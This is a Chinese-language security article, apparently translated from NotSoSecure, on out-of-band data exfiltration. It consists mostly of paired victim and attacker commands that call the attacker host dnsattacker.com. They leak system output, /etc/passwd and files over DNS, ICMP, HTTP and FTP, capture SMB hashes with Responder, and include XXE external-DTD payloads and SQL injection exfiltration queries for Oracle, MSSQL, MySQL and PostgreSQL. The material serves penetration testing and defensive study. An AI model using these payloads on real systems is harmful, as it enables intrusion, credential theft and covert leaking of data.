技術討論 | 資訊外帶漏洞(OOB)利用技巧
簡介
帶外資料(OOB)是一種通過其他傳輸方式來竊取資料的技術(例如利用DNS解析協議和電子郵件)。OOB技術通常需要易受攻擊的實體生成出站TCP/UDP/ICMP請求,然後允許攻擊者洩露資料。OOB攻擊的成功基於出口防火牆規則,即是否允許來自易受攻擊的系統和外圍防火牆的出站請求。而從域名伺服器(DNS)中提取資料,則被認為是最隱蔽有效的方法。因此,本文也將重點介紹有關DNS洩露資料的技巧。
引發DNS請求
成功利用DNS從有漏洞的資料庫中滲出資料的前提條件是,DBMS中有可用的能直接或間接引發DNS解析過程的子程式。 然後這類的子程式被攻擊者利用,作為攻擊的媒介。
任何可以接受網路地址的函式是最有可能被利用來進行這種攻擊的。
注:出於本文目的,我們儘可能的將用於受害者的payloads以最小依賴性和許可權保持為單行。
設定:DNS/OOB查詢基礎架構
先決條件
1. 具有靜態IP地址的公共伺服器:出於演示目的,我們將使用由Google雲平臺(GCP)提供的VPS服務。 2. 註冊域:訪問已註冊的域設定,將許可權委派給域名伺服器。這裡我們將使用oob.dnsattacker.com進行DNS解析。
具體步驟
我們使用Google Cloud Platform(GCP)建立具有靜態IP地址的Linux機器。請確保你在伺服器上具有root許可權。如果你之前並沒有任何有關GCP的建立經驗,那麼請參照 ofollow,noindex" target="_blank">本指南 進行建立。
我們在註冊商的DNS設定中,為我們的域添加了兩條記錄。使用NameServer定義了一個子域,以及為nameserver定義了A記錄(我們GCP伺服器的IP)。現在,這些設定將子域的所有DNS請求都路由到了我們的GCP伺服器上。
我們可以使用tcpdump來觀察伺服器上的DNS查詢情況。
系統命令注入:OOB
我們可以通過解析DNS名稱並查詢關聯的DNS查詢,來檢測Web應用程式中的作業系統程式碼注入漏洞。
檢測
DNS
攻擊者:使用Wireshark/tcpdump觀察53埠的響應情況。
sudo tcpdump -n port 53
注:在DNS命令中,我們還可以顯式定義用於解析的名稱伺服器。
Windows
nslookup test.oob.dnsattacker.com
ping ping.oob.dnsattacker.com
UNIX
host host.oob.dnsattacker.com
同樣,我們可以使用:
dig test.oob.dnsattacker.com ping test.oob.dnsattacker.com nslookup test.oob.dnsattacker.com
利用/滲出
DNS
注:使用Wireshark/tcpdump觀察53埠的響應情況。
tcpdump -n port 53
Windows
受害者:
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"
攻擊者:
echo “encoded output” |base64 -d# decode the output with base64
使用多行傳送輸出
受害者
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=Get-Content output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){ $final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }"# Sending file in HEX
攻擊者
sudo tcpdump -n port 53 | tee file.txt
提取和構建輸出:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
限制條件:需要Powershell。
Unix
受害者:
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig$var.$b.file.oob.dnsattacker.com; done# Sending file in HEX
攻擊者:
sudo tcpdump -n port 53 | tee file.txt
提取和構建輸出:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
與十六進位制編碼相比,Base64編碼檔案會小很多。
受害者:
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64
攻擊者:
cat file2.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n'|base64 -d# Extracting Output
ICMP
Windows
受害者
cmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('dnsattacker.com',60 * 1000, $sendbytes, $PingOptions);
攻擊者
sudo tcpdump 'icmp and src host 202.14.120.xx' -w powericmp.pcap#To capture
提取資料:
echo "0x$(tshark -n -q -r powericmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p#Or Use Wireshark gui
限制條件:需要Powershell。
Unix
受害者:
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 dnsattacker.com;don
攻擊者:
sudo tcpdump'icmp and src host 202.14.120.xx' -w icmp_file.pcap#To capture
提取資料:
echo "0x$(tshark -n -q -r icmp_file.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p#Or Use Wireshark gui
HTTP
Windows
受害者:
cmd /v /c "ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="http://dnsattacker.com:9000/!MYVAR!" && powershell Invoke-WebRequest !FINAL!"
注:如果Shell/">PowerShell不可用,請使用“mshta !Final!”。
攻擊者:
echo "0x$(ncat -lvp 9000 |grep -i get|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
Unix
受害者:
wget --header=evil:$(ifconfig|xxd -p -c 100000) http://dnsattacker.com:9000
攻擊者:
echo "0x$(ncat -lvp 9000 |grep -i evil|tr -d '/' |cut -d ' ' -f2)" |xxd -r -p
同樣,我們可以使用:
wget –post-data exfil='cat /etc/passwd' http://dnsattacker.com# extract datain post section wget –post-file trophy.php http://dnsattacker.com# extract source code cat /path/to/sensitive.txt | curl –F ":data=@-" http://dnsattacker.com/test.txt
SMB [使用Responder竊取雜湊]
Windows
受害者
net use h: \\dnsattacker.com\web
攻擊者
sudo ./Responder.py -I eth0#Run responder to capture hashes
同樣,我們可以使用:
net use h: \\dnsattacker.com\web /user: {password} && copy {file.txt to Copy} h:\{file.txt}.txt
XXE:Out of Band
檢測
我們可以通過向攻擊者域(即oob.dnsattacker.com)建立DNS請求來確認XXE漏洞是否存在。這裡有一個非常好的 XML實體利用的練習框架 推薦給大家。
受害者:
<?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://xxeoob.oob.dnsattacker.com"> <foo>&e1;</foo>
攻擊者:
sudo tcpdump -n udp port 53
限制:在撰寫本文時,DNS查詢僅能用於XXE的檢測。
利用/滲出
HTTP
攻擊者:執行python HTTP server來託管dtd檔案。
python -m SimpleHttpServer 9000
受害者:
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd"> %sp; %param1; ]> <r>&exfil;</r>
linux.dtd
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://dnsattacker.com:9000/%data;'>">
注:對基於Windows的受害者機器,請使用以下dtd檔案。
windows.dtd
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM ' http://dnsattacker.com:9000/%data;'>">
FTP
攻擊者:
執行python HTTP server來託管dtd檔案以及xxeftp server(請參考 此處 )。
python -m SimpleHttpServer 9000 python xxeftp.py
受害者:
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://dnsattacker.com:9000/linux.dtd"> %sp; %param1; ]> <r>&exfil;</r>
linux.dtd
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">
注:對基於Windows的受害者機器,請使用以下dtd檔案。
windows.dtd
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://dnsattacker.com:2121/%data;'>">
SMB [竊取雜湊]
攻擊者:執行responder捕獲雜湊值
sudo ./Responder.py -I eth0
受害者:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "\\dnsattacker.com\test" >]> <foo>&xxe;</foo>
注:出於演示目的,我們將使用CVE-2018-0878:Windows遠端協助資訊洩露漏洞。
類似地,其他可能洩露資料的payloads
http://oob.dnsattacker.com:port/%data ftp://oob.dnsattacker.com:port/%data gopher://oob.dnsattacker.com:port/%data% ldap://oob.dnsattacker.com:port \\oob.dnsattacker.com\\C$\\1.txt
SQL%E6%B3%A8%E5%85%A5/">SQL注入
注:所有資料庫伺服器都安裝在Windows上。有關SQL Injection cheat sheets請參考[ 1 ][ 2 ]
檢測
DNS
攻擊者:使用Wireshark/tcpdump觀察53埠響應情況。
sudo tcpdump -n port 53
ORACLE
檢測
受害者
SELECT DBMS_LDAP.INIT((‘oob.dnsattacker.com',80) FROM DUAL;
注:上述功能需要更高的許可權才能呼叫。
利用/滲出
受害者
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.attacker.com',80) FROM dual;/* Extracting Oracle database version */
同樣,我們可以使用以下payloads。
受害者
SELECT DBMS_LDAP.INIT((SELECT user FROM dual)||'.attacker.com',80) FROM dual;/*Extracting Current user in Oracle database */
如果你使用的Oracle為10G或更低版本,則可以使用一些替代方法來建立DNS查詢:UTL_INADDR.GET_HOST_ADDRESS, UTL_HTTP.REQUEST, HTTP_URITYPE.GETCLOB, DBMS_LDAP.INIT and UTL_TCP。
MSSQL
檢測
受害者
EXEC master..xp_dirtree '\\oob.dnsattacker.com \' –
利用/滲出
受害者
DECLARE @data varchar(1024); SELECT @data = (SELECT system_user); EXEC('master..xp_dirtree "\\'+@data+'.oob.dnsattacker.com\foo$"');
限制條件:資料庫使用者須為sysadmin許可權。
類似地,建立DNS查詢的其他方法包括:xp_fileexists,xp_subdirs,xp_getfiledetails,sp_add_jobstep
MYSQL
檢測
受害者
SELECT LOAD_FILE(CONCAT('\\\\', 'oob.dnsattacker.com\\test.txt'));
利用/滲出
受害者
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT HEX(CONCAT(user(),"\n"))), '.oob.dnsattacker.com\\test.txt'));
限制條件:資料庫使用者須具有Select,update和“檔案”許可權。
Postgresql
檢測
受害者
CREATE EXTENSION dblink;SELECT dblink_connect('host=oob.dnsattacker.com user=postgres password=password dbname=dvdrental');
限制條件:使用者必須具有超級使用者許可權才能執行CREATE EXTENSION查詢。
利用/滲出
受害者
DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (SELECT encode(convert_to(concat(user,''), 'UTF8'),'hex')); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.oob.dnsattacker.com\\\\foobar.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();
使用DNS洩露資料的限制
域名最多可包含127個子域。
每個子域最多隻能包含63個字元長度。
完整域名的最大長度為253個字元。
DNS記錄快取為每個URL請求都添加了一個唯一值。
DNS是明文通道,因此通過DNS提取的任何資料都將採用明文格式,並可供中間節點和DNS伺服器快取使用。因此,建議不要通過DNS洩露一些較為敏感的資料。
相關參考
https://github.com/beefproject/beef/wiki/Installation
https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
5G0Iys" rel="nofollow,noindex" target="_blank">https://www.youtube.com/watch?v=COVtU5G0Iys
https://github.com/Arno0x/DNSExfiltrator
https://blog.zsec.uk/out-of-band-xxe-2/
https://github.com/api0cradle/Powershell-ICMP/blob/master/Powershell-ICMP-Sender.ps1
https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1
https://ss64.com/nt/certutil.html
https://isc.sans.edu/forums/diary/Exfiltrating+data+from+very+isolated+environments/23645/
https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/
https://www.aldeid.com/wiki/File-transfer-via-DNS
https://www.dbrnd.com/2015/05/postgresql-cross-database-queries-using/
*參考來源: notsosecure , FB小編 secist 編譯,轉載請註明來自FreeBuf.COM